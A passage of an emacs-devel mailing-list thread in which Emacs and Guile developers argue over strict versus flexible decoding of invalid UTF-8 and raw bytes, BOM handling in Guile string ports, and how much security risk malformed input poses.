> the defects are "insignificant", and hardly a security problem.  It's
> the "worse is better" philosophy.[1]

No, it is the "clueless is useless" philosophy.  Don't second-guess
other systems.  Do your job properly, regardless of what is thrown at
you.  Don't be the weakest chain in a link.

Emacs cannot be a verification engine if it has no clue what it should
be verifying.  If you know what you want, you can get it.  Regardless of
what you want.

libunistring (which is what GUILE currently uses for UTF-8 processing)
has a _closed_ set of recovery strategies.  As it stands, it is useless
for implementing Emacs-like behavior because "encode invalid bytes into
something libunistring can deal with transparently" is not part of its
recovery strategies.  Once you _have_ a useful encoding into the space
of properly working strings, _any_ recovery strategy is easy to
implement on top of that.

For a platform, being forced to a closed set of behaviors is an
extremely limiting choice.

> But the rest of the software development world is going in the
> opposite direction.  "In God we trust.  All others, present photo ID."
> Maybe they have figured something out?  Heck, even Emacs is moving in
> the direction of defending *itself* from invalid data in other ways
> (thank you, Ted Z!)

You don't need to defend yourself from something you are equipped to
deal with.

-- 
David Kastrup

Re: Emacs Lisp's future

[Mark H Weaver]

David Kastrup <dak@gnu.org> writes:

> libunistring (which is what GUILE currently uses for UTF-8 processing)
> has a _closed_ set of recovery strategies.  As it stands, it is useless
> for implementing Emacs-like behavior because "encode invalid bytes into
> something libunistring can deal with transparently" is not part of its
> recovery strategies.  Once you _have_ a useful encoding into the space
> of properly working strings, _any_ recovery strategy is easy to
> implement on top of that.
>
> For a platform, being forced to a closed set of behaviors is an
> extremely limiting choice.

How many times do I have to repeat it?  I agree we should provide an
*option* for doing what you want.  No matter how many times I say it,
you keep pretending that I didn't say it, and spreading FUD about Guile
"forcing" policies on applications.

What you wrote above simply shows your ignorance of Guile.  Yes, we use
libunistring for some things, but we do _not_ use it for character
encoding conversions.  For that we use iconv, which gives us all the
tools we need to provide Emacs-like behavior.

Stop setting up strawmen and hacking away at them.  I've got better
things to do with my time than countering your endless stream of FUD,
which by now has been featured on LWN.

     Mark

Re: Emacs Lisp's future

[Mark H Weaver]

David Kastrup <dak@gnu.org> writes:

> Eli Zaretskii <eliz@gnu.org> writes:
>
>>> From: David Kastrup <dak@gnu.org>
>>> Cc: rms@gnu.org, mhw@netris.org, dmantipov@yandex.ru,
>>> emacs-devel@gnu.org, handa@gnu.org, monnier@iro.umontreal.ca,
>>> stephen@xemacs.org
>>> Date: Thu, 09 Oct 2014 09:52:31 +0200
>>> 
>>> I still don't want the autosave of mail to complain about bad
>>> characters.
>>
>> We write the auto-save files in the internal format, so it never
>> complains.
>
> If you are not allowed or able to do that...  At the current point of
> time, the only round-trippable encoding for bytes that GUILE offers is
> latin-1, and the only round-trippable encoding for characters is utf-8.

"Not allowed"?  Another strawman.  I guess it's a waste of time for me
to say, yet again, that we'll support the "raw bytes" encodings, because
you'll just keep on pretending that we won't allow it.

> The conceptual lack of separation between internal and external utf-8
> encoding leads to strangenesses like
>
> scheme@(guile-user)> (with-input-from-string "\ufeff!" read-char)
> $8 = #\!
>
> Yes, this is a string->string operation losing a byte order mark in
> spite of no indication that I would like to get encodings involved in
> any manner.

Byte Order Marks are an ugly corner of Unicode, and I spent a lot of
effort to try to do the right thing here.  What we do in Guile is
described here:

  https://www.gnu.org/software/guile/manual/html_node/BOM-Handling.html

I agree that we should inhibit BOM handling for string ports.

> And when I can say "let's see where this kind of thinking will lead" and
> find a hole to poke within a minute,

BTW, your claim that you found this hole "within a minute" is a
bald-faced lie and you know it.  In <http://bugs.gnu.org/18520>, I
stated my belief that our internal use of UTF-8 in string ports was not
visible to the application as long as you didn't manually change the
encoding for the string port or use seek/ftell.  That was on Sept 24th.

You spent a *lot* of time arguing with us in that bug report, and this
is exactly the observation you could have used to bolster your argument,
but you never found it until now.

      Mark

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    > Assume that any operation which decodes text _for a user to see_
    > will specify flexible decoding.

    That means almost all of them, more-or-less.  So it goes against what
    AFAIU Mark had in mind with "struct UTF-8".

I don't think so.  I think he is talking about operations OTHER THAN
those that decode text to put it in a buffer and show it to a user.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    Sigh.  It is *Emacs* that assumes the world is full of valid data, and
    happily shovels any hazmat it receives on to the next user or program
    without validation.  And you're right, it *is* a security problem.

It is not much of a security problem in Emacs.

The defaults for the standard Guile primitives could be strict,
and the defaults for some Emacs Lisp functions could be flexible.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    >     What will Emacs do, under this proposal, if the user is asked whether
    >     to keep the original raw bytes and answers NO?
    >
    > Abort the operation, I suppose.

    It's going to be a wagonload of fun if I do

    emacsclient `git grep -l some-pattern`

    in order to edit 30 files and Emacs decides to abort and/or ask each
    time a comment contains a stray latin-1 character.

I presume not many of these files will have raw bytes in them
if they are in a system that is being properly maintained.

But it occurs to me that there could be another option to offer users
on such occasions: to convert the raw bytes to Unicode characters
assuming that they were meant to be Latin-N (the user can pick the N).

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    >     And, of course, when you invoke a program locally, there's usually no
    >     protocol at all involved.
    > 
    > Likewise, we need to look at some real cases.

    Not sure what you mean by that.  M-! and M-| is what I had in mind.

This may be a big miscommunication.  I think the people who want
strict encoding are talking about network communication using
open-network-stream.

But it would be good if they presented some examples to make it
clear what cases they are talking about.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    > Assume that any operation which decodes text _for a user to see_
    > will specify flexible decoding.

    That means almost all of them, more-or-less.  So it goes against what
    AFAIU Mark had in mind with "struct UTF-8".

I don't think so.  I think he is talking about operations OTHER THAN
those that decode text to put it in a buffer and show it to a user.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    Sigh.  It is *Emacs* that assumes the world is full of valid data, and
    happily shovels any hazmat it receives on to the next user or program
    without validation.  And you're right, it *is* a security problem.

It is not much of a security problem in Emacs.

The defaults for the standard Guile primitives could be strict,
and the defaults for some Emacs Lisp functions could be flexible.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    >     What will Emacs do, under this proposal, if the user is asked whether
    >     to keep the original raw bytes and answers NO?
    >
    > Abort the operation, I suppose.

    It's going to be a wagonload of fun if I do

    emacsclient `git grep -l some-pattern`

    in order to edit 30 files and Emacs decides to abort and/or ask each
    time a comment contains a stray latin-1 character.

I presume not many of these files will have raw bytes in them
if they are in a system that is being properly maintained.

But it occurs to me that there could be another option to offer users
on such occasions: to convert the raw bytes to Unicode characters
assuming that they were meant to be Latin-N (the user can pick the N).

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    >     And, of course, when you invoke a program locally, there's usually no
    >     protocol at all involved.
    > 
    > Likewise, we need to look at some real cases.

    Not sure what you mean by that.  M-! and M-| is what I had in mind.

This may be a big miscommunication.  I think the people who want
strict encoding are talking about network communication using
open-network-stream.

But it would be good if they presented some examples to make it
clear what cases they are talking about.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Mark H Weaver]

I wrote:
> What you wrote above simply shows your ignorance of Guile.  Yes, we use
> libunistring for some things, but we do _not_ use it for character
> encoding conversions.  For that we use iconv, which gives us all the
> tools we need to provide Emacs-like behavior.

It turns out I was partially mistaken.  We use iconv in some places and
libunistring in some others.  Anyway, it seems that I have lost my
temper with David, which is embarrassing.  I'd best drop out of this
conversation now.

      Mark

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Richard Stallman writes:

 > The defaults for the standard Guile primitives could be strict,
 > and the defaults for some Emacs Lisp functions could be flexible.

Which is precisely what I proposed from the beginning[1], and as I
understand his posts, it is what Mark has had in mind throughout as
well.

Speaking *only* for myself, I would *prefer* defaults for text coding
set by Emacs to be strict, and I believe that is both in the average
user's interest and not too inconvenient *in today's environment*.[2]
But it should be easy for applications and modes to say to Emacs "do
what you would have done in Emacs 24" and "do what you would have done
in Emacs 24 *except* apply a strict(er) error handling on invalid
encoding".

Experience may show that my preferred default is too strict for Emacs,
even today, but I believe it is the place to start.

FWIW IMHO YMMV


Footnotes: 
[1]  Although my expression of that proposal seems to have been
unintelligible.  Sorry!

[2]  tl;dr

UTF-8 is rapidly becoming the preferred encoding for many natural
languages, although China encourages GB18030 by law and Japan and
Russia both maintain their historical Babel of encodings.  Protocols
are both becoming stricter about validation, and using the sensible
default of UTF-8.  Internet protocols, where security is a very
important aspect, are gradually shifting from insisting on ASCII to
defaulting to UTF-8 (although often in some kind of "ASCII-armored"
encoding such as BASE64 or punycode).

So in general, with a few application-specific exceptions (hello,
AUCTeX), both users and applications should encounter far fewer
instances of broken encoding than in the era when the experiments Eli
and David refer to were conducted.  This is somewhat supported by the
fact that at least one major dynamic language (Python) doesn't even
provide an encoding detection function in its standard library.  The
typical range of use cases is different, granted, but editing
applications (the IDLE IDE and the IPython "notebook" facility) don't
seem to have issues with defaulting to "strict".

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Richard Stallman writes:

 > I think the people who want strict encoding are talking about
 > network communication using open-network-stream.

Speaking only for myself, no, I mean all octet streams purported to
be encoded text, network or local.  Network streams can only be
considered safe in very carefully maintained environments, so the
risks are greatest there.

But there's no such thing as a truly local stream, since any given
stream may be a file downloaded from the network or provided by an
application of uncertain provenance.  There are three cases of
interest, AFAICS:

(1) The file or application is truly local, provided with the OS or
    created by the user.  In that case on a well-maintained system,
    the encoding should be valid, as you pointed out elsewhere.
    Therefore a strict policy should be transparent.  (See (3) for
    what I believe to be the main class of exceptions.)

(2) The file or application was downloaded from the network.  Emacs
    cannot know the provenance, and so the same care should be taken
    as with a network stream.

(3) The application is trustworthy, but produces invalid encoded text
    in some well-understood situations.  In this case the Lisp program
    should be allowed to opt out of default validation and provide its
    own.  Preferably only in the specific situations rather than
    globally.

An example of (3) is David's case, with AUCTeX handling of TeX error
messages containing non-unibyte text.)  AFAIK such applications are
quite rare nowadays.  TeX is a special case because it is one of the
few applications whose behavior is specified extremely precisely but
in an encoding-oblivious way.[1]

As an example of special validation in (3), AIUI in TeX error
messages, only a very few leading and trailing bytes of quoted source
text should be invalid.  Thus the rest should be valid, and the user
probably should be notified of unexpected rawbytes.  (That's up to the
Lisp programmer, of course.  Still I think such flexible validation is
in the user's interest if the programmer is willing to provide it.)

I am unaware of other large classes of exceptional cases in modern
GNU/Linux systems, or the major proprietary OSes.

I understand David and Eli to be of the opinion that in practice there
is insignificant risk to Emacs or its users from any form of invalid
or malicious input, from the network or local.  I disagree.

Footnotes: 
[1]  I'm referring to the TRIP test.  This specification effectively
assumes a unibyte encoding, and so it is likely to be very difficult
to create a TeX implementation that handles Unicode conformant to the
standard *and* passes TRIP.  I'll take a TeX that passes TRIP any day!

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Sun, 12 Oct 2014 23:10:11 -0400
> From: Richard Stallman <rms@gnu.org>
> CC: dak@gnu.org, mikegerwitz@gnu.org, mhw@netris.org,
> 	dmantipov@yandex.ru, emacs-devel@gnu.org, handa@gnu.org,
> 	monnier@iro.umontreal.ca, stephen@xemacs.org
> 
>     >     And, of course, when you invoke a program locally, there's usually no
>     >     protocol at all involved.
>     > 
>     > Likewise, we need to look at some real cases.
> 
>     Not sure what you mean by that.  M-! and M-| is what I had in mind.
> 
> This may be a big miscommunication.  I think the people who want
> strict encoding are talking about network communication using
> open-network-stream.

That distinction is quite blurred in latest Emacs versions.  E.g.,
shell-command-to-string might call a process on a remote host and
communicate with it via open-network-stream or some such.  There are
several interactive commands already that use this feature.

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: "Stephen J. Turnbull" <stephen@xemacs.org>
> Cc: Eli Zaretskii <eliz@gnu.org>,
>     dak@gnu.org,
>     mikegerwitz@gnu.org,
>     mhw@netris.org,
>     dmantipov@yandex.ru,
>     emacs-devel@gnu.org,
>     handa@gnu.org,
>     monnier@iro.umontreal.ca
> Date: Mon, 13 Oct 2014 14:35:02 +0900
> 
> (1) The file or application is truly local, provided with the OS or
>     created by the user.  In that case on a well-maintained system,
>     the encoding should be valid, as you pointed out elsewhere.
>     Therefore a strict policy should be transparent.  (See (3) for
>     what I believe to be the main class of exceptions.)
> 
> (2) The file or application was downloaded from the network.  Emacs
>     cannot know the provenance, and so the same care should be taken
>     as with a network stream.
> 
> (3) The application is trustworthy, but produces invalid encoded text
>     in some well-understood situations.  In this case the Lisp program
>     should be allowed to opt out of default validation and provide its
>     own.  Preferably only in the specific situations rather than
>     globally.

There's also the case that the application was invoked on a remote
host, and its output is passed via the network (a.k.a. "Tramp").  Not
sure if those 3 cases cover that.

> An example of (3) is David's case, with AUCTeX handling of TeX error
> messages containing non-unibyte text.)  AFAIK such applications are
> quite rare nowadays.

"Rare" doesn't mean unimportant to users to the degree we can ignore
them.  If we do want to cater to those "rare" cases, the only way of
doing that is maintain a database of programs and their behaviors.  We
don't have that now, and I'm not sure how practical this could be, and
what kind of maintenance burden it would require to keep the database
up to date.

Moreover, I don't think case (1) is as easy as you seem to think.  The
current Emacs policy is to use the locale-specific encoding, but that
is just a heuristic that could easily be false, as modern distributed
network-based computing doesn't lend itself well to the notion of a
fixed locale with a single encoding.  In many cases, a file or a
program that you think are "local" really aren't.

> I understand David and Eli to be of the opinion that in practice there
> is insignificant risk to Emacs or its users from any form of invalid
> or malicious input, from the network or local.  I disagree.

I never said anything like that.  I simply don't have the expertise to
assess the real amount of risk associated with this particular aspect
of Emacs.  All I can cite is my own experience.

What I did say, and stand by, is that doing what you suggest is
certain to cause user outcry of the kind I remember very well.  I
think it's naive to assume that "this time it will be different";
experience has taught me that this attitude is ill-advised.

Therefore, I think Emacs should only go to the kind of strict defaults
you propose if _users_ demand that, or if real-life Emacs use stories
show up that demonstrate the actual danger from using the current
default.  We shouldn't do that out of our own initiative based on
academic considerations and examples from PHP or whatever.

Re: Emacs Lisp's future

[David Kastrup]

Mark H Weaver <mhw@netris.org> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> The conceptual lack of separation between internal and external utf-8
>> encoding leads to strangenesses like
>>
>> scheme@(guile-user)> (with-input-from-string "\ufeff!" read-char)
>> $8 = #\!
>>
>> Yes, this is a string->string operation losing a byte order mark in
>> spite of no indication that I would like to get encodings involved in
>> any manner.
>
> Byte Order Marks are an ugly corner of Unicode, and I spent a lot of
> effort to try to do the right thing here.  What we do in Guile is
> described here:
>
>   https://www.gnu.org/software/guile/manual/html_node/BOM-Handling.html
>
> I agree that we should inhibit BOM handling for string ports.
>
>> And when I can say "let's see where this kind of thinking will lead" and
>> find a hole to poke within a minute,
>
> BTW, your claim that you found this hole "within a minute" is a
> bald-faced lie and you know it.

> In <http://bugs.gnu.org/18520>, I stated my belief that our internal
> use of UTF-8 in string ports was not visible to the application as
> long as you didn't manually change the encoding for the string port or
> use seek/ftell.  That was on Sept 24th.

Uh, my claim was not that I found this problem a minute after first
thinking about GUILE's string handling.  It was more about how long it
took me after deciding to look for an example for _this_ discussion.
Now my above description may not be accurate since "let's see where this
kind of thinking will lead" is obviously not something that occured to
me just these days, or even these years.  So it applied to the more
concrete case of reading in the GUILE manual about its BOM handling,
making the connection to string ports, thinking "now that's likely to be
another half-baked bean", and finding that issue by experiment.

To the best of my memory, this _was_ the first time I read about BOM
handling in GUILE.  That does not mean that I can vouch for this page
never having been on-screen before, or even me having skimmed through
it.  But it definitely is the first time I remember having read it now.

> You spent a *lot* of time arguing with us in that bug report, and this
> is exactly the observation you could have used to bolster your
> argument, but you never found it until now.

Because I did not look for it before.  At any rate, in relation to that
bug report I had a different actual example exposed in
<URL:http://debbugs.gnu.org/cgi/bugreport.cgi?bug=18520#41> (for which I
provided a patch in
<URL:http://debbugs.gnu.org/cgi/bugreport.cgi?bug=18536>). Here the
attempt to create an open-coded fast path to speed up a few gratuitous
conversions when reading numbers from a string port (encode to UTF-8
because string ports are implemented as byte streams, decode when
reading, reencode when ungetting the non-digit read after the last
digit, redecode when reading it again...).  I think it was more or less
sorted into the "one bug does not demonstrate a problem" category.

That bug jumped out at me not when I was searching for a redecoding
problem but rather when I looked at the code in ports.c (which that
issue was about) after musing "how are they going to unread in a string
port?".  And the open-coded conversion was there to to avoid calling the
apparently slow libunistring (yes, libunistring) function
u32_conv_to_encoding
<URL:https://www.gnu.org/software/libunistring/manual/html_node/uniconv_002eh.html>.

Bugs happen.  But code that is not called in the first place can cause
no bug.

At any rate, when looking for a snappy "this might not work well with
reencoding example" on the Emacs Lisp, I first looked at surrogate
words.

Well, (integer->char #xd800) throws an out-of-range error.  So one is
not even allowed to talk about surrogate words at the character/word
level, look for them with regular expressions and so on.

I have some choice words for that as well, but it's not a bug.  It's
pretty much a necessary consequence of the design that does not give
representation to input outside of the proper UTF-8 range.  Since "not
practical" was already cried down as a consideration in this discussion,
I wanted an actual bug rather than just a refusal to work with things
defined as invalid.

So I looked in the GUILE manual to see whether I could find something
about surrogate words and instead chanced upon "BOM" which apparently
_was_ allowed into strings, so I just thought "oh, that could be an
equally bad can of worms".  And admittedly, my first try was using the
string port in the other direction, namely with-output-to-string.  From
the description I'd have expected _that_ to blow up rather than the
other way round.

And the time from "oh, this one could be bad as well" to finding the
problem (I am not even sure it is a bug rather than a particularly
jarring but logical consequence of the way string ports are defined in
GUILE as a byte stream with encoding) was not more than a few minutes at
best.  A fix will likely be equally fast to do, and there is a school
that every sufficiently patched-up software is indistinguishable from
design.

So that's the history of this bald-faced lie of mine.  I am sure that
I offer better opportunities for ad hominem attacks than that.

-- 
David Kastrup

Re: Emacs Lisp's future

[David Kastrup]

Richard Stallman <rms@gnu.org> writes:

> [[[ To any NSA and FBI agents reading my email: please consider    ]]]
> [[[ whether defending the US Constitution against all enemies,     ]]]
> [[[ foreign or domestic, requires you to follow Snowden's example. ]]]
>
>     >     What will Emacs do, under this proposal, if the user is asked whether
>     >     to keep the original raw bytes and answers NO?
>     >
>     > Abort the operation, I suppose.
>
>     It's going to be a wagonload of fun if I do
>
>     emacsclient `git grep -l some-pattern`
>
>     in order to edit 30 files and Emacs decides to abort and/or ask each
>     time a comment contains a stray latin-1 character.
>
> I presume not many of these files will have raw bytes in them
> if they are in a system that is being properly maintained.

Like trailing spaces on a line and missing newlines before an end of
file and other whitespace errors: any attempt of correcting those
automatically or prompting for correcting them when you are just working
with material you got from someone else is going to annoy people and
cause problems.

Syntax highlighting may want to point such things out.  That's perfectly
fine.  But anything that disrupts interactive work is out.  I don't want
gratuitous random prompts interfering with the operation of keyboard
macros, for example.

Emacs' current behaviors are the result of dozens of years of user
experience and feedback.  Our current choices are not random.

-- 
David Kastrup

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Eli Zaretskii writes:

 > There's also the case that the application was invoked on a remote
 > host, and its output is passed via the network (a.k.a. "Tramp").  Not
 > sure if those 3 cases cover that.

My three cases were intended to cover the "local" case, where the user
presumably has control of the files on her system.  The case you are
describing is covered under network streams as far as I'm concerned
(YMMV, that's just the way I broke things down).

 > > An example of (3) is David's case, with AUCTeX handling of TeX error
 > > messages containing non-unibyte text.)  AFAIK such applications are
 > > quite rare nowadays.
 > 
 > "Rare" doesn't mean unimportant to users to the degree we can ignore
 > them.  If we do want to cater to those "rare" cases, the only way of
 > doing that is maintain a database of programs and their behaviors.

That's my main strategy, yes.  We have `file-coding-system-alist' for
filename cases, similar features for process and network streams, and
individual modes such as AUCTeX are developed by hackers who have
proved themselves able to take care of themselves.  Emacs can also
provide a way for individual users to opt out of the default
validation mode persistently (eg, provide a global default variable
and use novice mode for the opt-out).

 > Moreover, I don't think case (1) is as easy as you seem to think.

Eli, I live in encoding hell, aka Japan, and have to deal with Chinese
as well (Chinese students often use GB encodings to write Japanese).
Please give me credit for extensive experience with not only broken
implementations, but also bloodyminded standards bodies and users only
half as witty as they think they are.  Nevertheless, things are much
better today than in the days when Erik Naggum declared that "Emacs
has a fatal disease, and its name is 'MULE'".

 > In many cases, a file or a program that you think are "local"
 > really aren't.

Just because a user thinks it local doesn't lower the risk associated
with networks, although it may be somewhat lower than the open
Internet.  This is in the same risk class as other network streams.

I suppose it would be reasonable to distinguish between Internet
streams, local network streams (but only if a valid certificate was
presented, otherwise there's little reason to be confident), and local
files or processes.  But doing that conveniently and accurately sounds
like a painstaking task.

 > > I understand David and Eli to be of the opinion that in practice there
 > > is insignificant risk to Emacs or its users from any form of invalid
 > > or malicious input, from the network or local.  I disagree.
 > 
 > I never said anything like that.

No, you didn't.  I infer it from the policies for Emacs you advocate.

 > What I did say, and stand by, is that doing what you suggest is
 > certain to cause user outcry of the kind I remember very well.

It won't.  There may be outcry, but the world has changed dramatically
from the times you remember, and the outcry will be different (except
for users like yourself who were there at the time and will be upset
by the "regression"[1]).

 > I think it's naive to assume that "this time it will be different";
 > experience has taught me that this attitude is ill-advised.

I don't assume it.  I know for a fact that the world is much more
hostile than it was back then, and I think other conditions have
changed enough that it's time for another experiment, hopefully with a
little bit of attention to design of user interfaces in advance.

 > We shouldn't do that out of our own initiative based on academic
 > considerations and examples from PHP or whatever.

You think spam, viruses, phishing, buffer overrun exploits, and the
like are "academic considerations"?

They aren't, and the attitude that users can and should take care of
themselves is *not* a selling point in this environment, except for
developers who would rather not deal with complex APIs and worse, the
finicky art of providing convenient, unobtrusive, and yet flexible UI.

Footnotes: 
[1]  And I hope that group is a tiny minority, given the rapid growth
in computer usage in just that decade and a half.  If it turns out
that greybeards like us are the majority of users, that's a sad day
for Emacs and for free software.

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: David Kastrup <dak@gnu.org>
> Cc: eliz@gnu.org,  mhw@netris.org,  dmantipov@yandex.ru,  emacs-devel@gnu.org,  handa@gnu.org,  monnier@iro.umontreal.ca,  stephen@xemacs.org
> Date: Mon, 13 Oct 2014 09:59:21 +0200
> 
> Syntax highlighting may want to point such things out.  That's perfectly
> fine.

Emacs indeed shows raw bytes in a distinct face.

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Eli Zaretskii writes:
>
>  > There's also the case that the application was invoked on a remote
>  > host, and its output is passed via the network (a.k.a. "Tramp").  Not
>  > sure if those 3 cases cover that.
>
> My three cases were intended to cover the "local" case, where the user
> presumably has control of the files on her system.  The case you are
> describing is covered under network streams as far as I'm concerned
> (YMMV, that's just the way I broke things down).
>
>  > > An example of (3) is David's case, with AUCTeX handling of TeX error
>  > > messages containing non-unibyte text.)  AFAIK such applications are
>  > > quite rare nowadays.
>  > 
>  > "Rare" doesn't mean unimportant to users to the degree we can ignore
>  > them.  If we do want to cater to those "rare" cases, the only way of
>  > doing that is maintain a database of programs and their behaviors.
>
> That's my main strategy, yes.  We have `file-coding-system-alist' for
> filename cases, similar features for process and network streams, and
> individual modes such as AUCTeX are developed by hackers who have
> proved themselves able to take care of themselves.

But that's not what happens.  AUCTeX uses the normal defaults.  When
those defaults prove _insufficient_ to do the trick (which happens in
sub-percentages of the total) for finding the corresponding source in a
(normally encoding-correct) buffer of characters by interpreting the
error context messages on a terminal where byte-based linebreaks may
corrupt characters, _then_ the error context message (which came in from
a terminal with an encoding, so no byte stream exists any more) are
reencoded to utf-8, the line break is removed, and the byte stream is
redecoded and matched again to the source file buffer containing
_characters_ in the same encoding as those used for decoding the
terminal.

So the point is that
a) TeX daring to produce error output on its console does not cause
beeps and interruptions
b) I have a fallback strategy for dealing with that kind of "ugh" that
is _not_ covered by the standard fallback strategies but that can be
hand-implemented _because_ there was no information loss.

The alternative would be to create an encoding utf-8-with-bad-linebreaks
and the respective coders/recoders and have that as the terminal
encoding for running TeX.

And I have no doubt that people will say that I should be forced to go
that path since it is the "correct" one.

Except that a single TeX run may very well go across several files with
_different_ encodings, so there really is no single "correct" encoding
for the terminal messages of TeX.

Which means that the current "don't mess with things you have not been
told to mess with" behavior leaves the programmer in the situation to
focus on the _actual_ problem rather than fighting Emacs' preconceptions
about what problem he is allowed to encounter.

> Nevertheless, things are much better today than in the days when Erik
> Naggum declared that "Emacs has a fatal disease, and its name is
> 'MULE'".

Erik was the highest profile programmer/user abandoning Emacs for XEmacs
in order to avoid the consequences of multibyte encodings.  I seem to
remember that he blamed the principle of multibyte encodings rather than
the early buggy MULE implementations (the earliest implementations
worked with byte offsets for buffer and string positions so there was
wagonloads of fallout, but I think he also objected to the performance
implications when closing that problem vector by making buffer and
string positions character-based).

I have no idea which Emacs variant he would be using these days if he
were still around.  It may well be XEmacs since part of his objections
against MULE (which is now pretty unavoidable in XEmacs as well
I _think_) was the manner of the top-down decision-making resulting in
its early inclusion in Emacs when it was not all-that-ready.

> I suppose it would be reasonable to distinguish between Internet
> streams, local network streams (but only if a valid certificate was
> presented, otherwise there's little reason to be confident), and local
> files or processes.  But doing that conveniently and accurately sounds
> like a painstaking task.

The only thing one case sensibly do in stacked problems like this is to
have each level deal with its own problems.  And that means that it
needs to pass on data that is not being processed at its own level.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: "Stephen J. Turnbull" <stephen@xemacs.org>
> Cc: dak@gnu.org,
>     rms@gnu.org,
>     handa@gnu.org,
>     mhw@netris.org,
>     dmantipov@yandex.ru,
>     emacs-devel@gnu.org,
>     mikegerwitz@gnu.org,
>     monnier@iro.umontreal.ca
> Date: Mon, 13 Oct 2014 17:24:39 +0900
> 
>  > We shouldn't do that out of our own initiative based on academic
>  > considerations and examples from PHP or whatever.
> 
> You think spam, viruses, phishing, buffer overrun exploits, and the
> like are "academic considerations"?

How are these relevant to this discussion (well, except for the
unspecified "and the like" part)?  What do these have to do with text
encoding and decoding in general, and with invalid byte sequences in
particular?  Let's stay focused on the topic at hand, OK?

> They aren't, and the attitude that users can and should take care of
> themselves is *not* a selling point in this environment, except for
> developers who would rather not deal with complex APIs and worse, the
> finicky art of providing convenient, unobtrusive, and yet flexible UI.

All I said was that I want to hear about real-life experiences with
these dangers, where the attackers were able to exploit the Emacs text
decoding machinery to their advantage.  I know it's probably possible
to concoct a synthetic use case for that (although even that was not
done in this thread), but I want to see _real-life_ stories.  Then we
will have specific scenarios to talk about, rather than general
unnamed risks, and also won't need to argue about whether "this can
happen".

Historically, any real-life risks that were reported on the Emacs
lists were handled and fixed very quickly and without any discussions
as to whether they should be fixed.  Rest assured that the same will
happen with the kinds of risks discussed here -- if and when someone
shows us a real-life use case where these risks materialize on our
watch.

We arrived at the current modus operandi of Emacs wrt text encoding
and decoding through sweat, blood, and tears of several major
releases.  It is neither an incident nor luck that complaints about
these issues are rarely if at all seen on the user support forums or
here, for the past 2 major releases.  Changing that in response to
considerations not backed up by specific user reports would be a grave
mistake.  If the history of Emacs development since v20.1 in this area
teaches us anything, it is that we, the Emacs developers, are not good
enough in making these decisions based on theoretical arguments and
considerations.  Suit yourself, but I, for one, don't want us to make
that mistake again, ever.

Re: Emacs Lisp's future

[David Kastrup]

Eli Zaretskii <eliz@gnu.org> writes:

>> From: David Kastrup <dak@gnu.org>
>> Cc: eliz@gnu.org, mhw@netris.org, dmantipov@yandex.ru,
>> emacs-devel@gnu.org, handa@gnu.org, monnier@iro.umontreal.ca,
>> stephen@xemacs.org
